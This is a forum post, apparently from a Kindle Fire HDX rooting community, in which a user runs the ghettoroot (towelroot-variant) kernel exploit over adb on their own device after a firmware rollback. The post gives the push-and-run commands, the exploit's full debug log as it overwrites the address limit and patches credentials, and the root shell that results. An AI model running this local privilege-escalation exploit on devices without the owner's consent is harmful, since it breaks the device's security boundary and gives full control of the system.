[Kindle Fire HDX 7" & 8.9" General] ONYXis:
[MENTION=5828306]draxie[/MENTION] Just checked after 3.2.8 rolback. Without intial setup. Ghettoroot 0.2.2

C:\Users\24576>adb devices
List of devices attached
D0FBA0A034370369 device

C:\Users\24576>adb push C:\Users\24576\Desktop\ghettoroot /data/local/tmp
2136 KB/s (59116 bytes in 0.027s)

C:\Users\24576>adb shell
shell@android:/ $ cd /data/local/tmp
shell@android:/data/local/tmp $ chmod 0755 ghettoroot
shell@android:/data/local/tmp $ ./ghettoroot -n -m "1337 0 0 0 4 0" /system/bin/sh
************************************************
native ghettoroot, aka cube-towel, aka towelroot
running with pid 3508
Kernel version: Linux version 3.4.0-g6507d6b (build@ip-10-222-15-137) (gcc version 4.6.x-google 20120106 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Jun 25 20:58:30 UTC 2014
Kernel number: 0
No matching phone found. Trying default.
ph->method = 0 ph->align = 0 ph->limit_offset = 0 ph->hit_iov = 4
modstring: 1337 0 0 0 4 0
************************************************

[DEBUG] init_exploit:1208: function start
[DEBUG] send_magicmsg:817: function start
[DEBUG] make_socket:781: function start
[DEBUG] search_goodnum:938: function start
[DEBUG] search_goodnum:941: loop FUTEX_CMP_REQUEUE_PI
[DEBUG] accept_socket:1173: function start
[DEBUG] accept_socket:1195: Socket tastefully accepted.
[DEBUG] make_socket:804: function exit
[DEBUG] wake_actionthread:715: function start
[DEBUG] make_sigaction:669: function start
[DEBUG] wake_actionthread:739: loop while waiting for other thread
[DEBUG] make_sigaction:688: loop while waiting for other thread
[DEBUG] wake_actionthread:767: mutex unlock
[DEBUG] wake_actionthread:770: function exit
[DEBUG] wake_actionthread:715: function start
[DEBUG] make_sigaction:669: function start
[DEBUG] wake_actionthread:739: loop while waiting for other thread
[DEBUG] make_sigaction:688: loop while waiting for other thread
[DEBUG] wake_actionthread:767: mutex unlock
[DEBUG] wake_actionthread:770: function exit
[DEBUG] search_goodnum:957: single FUTEX_CMP_REQUEUE_PI
[DEBUG] search_goodnum:960: loop while waiting for other thread
[DEBUG] send_magicmsg:858: loop while waiting for other thread
[DEBUG] send_magicmsg:867: perform selected method
[INFO] search_goodnum:1003: starting the dangerous things
[DEBUG] setup_exploit:913: function start
[DEBUG] setup_exploit:920: function exit
[DEBUG] setup_exploit:913: function start
[DEBUG] setup_exploit:920: function exit
[DEBUG] search_goodnum:1007: MAGIC: a0000800
[DEBUG] search_goodnum:1008: MAGIC_ALT: 00100800
[DEBUG] search_goodnum:1011: magicval: a0000820
[DEBUG] wake_actionthread:715: function start
[DEBUG] make_sigaction:669: function start
[DEBUG] wake_actionthread:739: loop while waiting for other thread
[DEBUG] make_sigaction:688: loop while waiting for other thread
[DEBUG] wake_actionthread:767: mutex unlock
[DEBUG] wake_actionthread:770: function exit
[DEBUG] search_goodnum:1020: Entering while loop...
[DEBUG] setup_exploit:913: function start
[DEBUG] setup_exploit:920: function exit
[DEBUG] wake_actionthread:715: function start
[DEBUG] make_sigaction:669: function start
[DEBUG] wake_actionthread:739: loop while waiting for other thread
[DEBUG] make_sigaction:688: loop while waiting for other thread
[DEBUG] wake_actionthread:767: mutex unlock
[DEBUG] wake_actionthread:770: function exit
[DEBUG] search_goodnum:1031: 0xeb3b0000 is a good number
[DEBUG] get_root:483: thread ID: 3515
[DEBUG] get_root:495: cpid1 resumed
[DEBUG] get_root:503: HACKS_fdm = 7 [/dev/pts/2]
[DEBUG] setup_exploit:913: function start
[DEBUG] setup_exploit:920: function exit
[DEBUG] wake_actionthread:715: function start
[DEBUG] make_sigaction:669: function start
[DEBUG] wake_actionthread:739: loop while waiting for other thread
[DEBUG] make_sigaction:688: loop while waiting for other thread
[DEBUG] wake_actionthread:767: mutex unlock
[DEBUG] wake_actionthread:770: function exit
[DEBUG] search_goodnum:1133: 0xea69ddcc is also a good number
[DEBUG] setup_exploit:913: function start
[DEBUG] setup_exploit:920: function exit
[DEBUG] wake_actionthread:715: function start
[DEBUG] make_sigaction:669: function start
[DEBUG] wake_actionthread:739: loop while waiting for other thread
[DEBUG] make_sigaction:688: loop while waiting for other thread
[DEBUG] wake_actionthread:767: mutex unlock
[DEBUG] wake_actionthread:770: function exit
[DEBUG] get_root:483: thread ID: 3517
[DEBUG] search_goodnum:1150: Writing to HACKS_fdm...
[DEBUG] get_root:541: cpid3 resumed
[DEBUG] get_root:531: Writing new addr_limit to thread...
[DEBUG] write_pipe:297: dest:ea040008 src:0001701c count:4
[DEBUG] read_pipe:271: function start
[DEBUG] read_pipe:275: dest:40a1bb74 src:ea040000 count:16
[DEBUG] read_pipe:288: function exit
[DEBUG] get_root:547: ti.task=ea669e00 .flags=00000000 .preempt_count=1 .addr_limit=ffffffff
[DEBUG] read_pipe:271: function start
[DEBUG] read_pipe:275: dest:40a1b774 src:ea669e00 count:1024
[DEBUG] read_pipe:288: function exit
[INFO] get_root:551: Address limit successfully extended, seemingly
[DEBUG] get_root:557: Contents of taskbuf:
00000000 ea040000 00000002 00400040 00000000 00000000 00000001 00000001 00000082 00000082 00000082 00000000 c0909f34 00000000 0000006e 0253c825 00000001 ee050b80 00000000 ee050b8c c30a6c0c 00000001 3d6d7212 0000002e 000e8a56 00000000 565bcb5c 00000080 000e8a56 00000000 00000000 00000000 00000000 c30a6788 00000000 00000000 ea669e90 ea669e90 00000000 0000000a 00000001 00000000 00000000 c30a6818 00000000 00000000 00000000 00000001 00000000 00000000 ea669ec8 ea669ec8 00000000 c0e2357c ea4eedd4 0000008c ea669ee0 ea669ee0 ea669ee8 ea669ee8 ea7e8c40 ea7e8c40 00000001 00000001 00000000 00000001 00000000 00000000 00000000 ffffffff 00000000 00000000 00a00000 00000000 00000dbd 00000db4 f67d7fdb ea4eed00 ea4eed00 ea669f3c ea669f3c ea669f44 ea669f44 e9450f00 ea669f50 ea669f50 ea669f58 ea669f58 00000000 ec780c08 ec780c00 00000000 ed301d4c ed301d40 ea4eee78 ea12aad0 ea12aac0 e9451084 ea66b9c4 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000002 0000000d 000000c6 1ebd8cd3 000000c6 1ebd8cd3 00000001 00000000 00000000 00000000 00000000 00000000 00000000 ea669fe8
[INFO] get_root:567: Supposedly found credential at taskbuf[122]: e98ca300
[DEBUG] read_pipe:271: function start
[DEBUG] read_pipe:275: dest:40a1b718 src:e98ca300 count:92
[DEBUG] read_pipe:288: function exit
[DEBUG] read_pipe:271: function start
[DEBUG] read_pipe:275: dest:40a1b700 src:ec816b80 count:24
[DEBUG] read_pipe:288: function exit
[DEBUG] get_root:590: YOU ARE A SCARY PHONE
[DEBUG] write_pipe:297: dest:ec816b80 src:40a1b700 count:24
[DEBUG] write_pipe:297: dest:e98ca300 src:40a1b718 count:92
[DEBUG] write_pipe:297: dest:ea669f28 src:00017020 count:4
[DEBUG] postroot:462: Going to execute custom command.
Executing user command ("/system/bin/sh"): "/system/bin/sh"

127|shell@android:/data/local/tmp # cd /data
shell@android:/data # ls
app
app-asec
app-lib
app-private
audio
backup
connectivity
dalvik-cache
data
debug_service
dontpanic
drm
fota
hostapd
local
lost+found
mcast.bin
media
misc
property
resource-cache
securedStorageLocation
shared
ssh
system
time
tombstones
user
wiper
wpstiles
shell@android:/data # getprop ro.build.version.incremental
13.3.2.8_user_328003120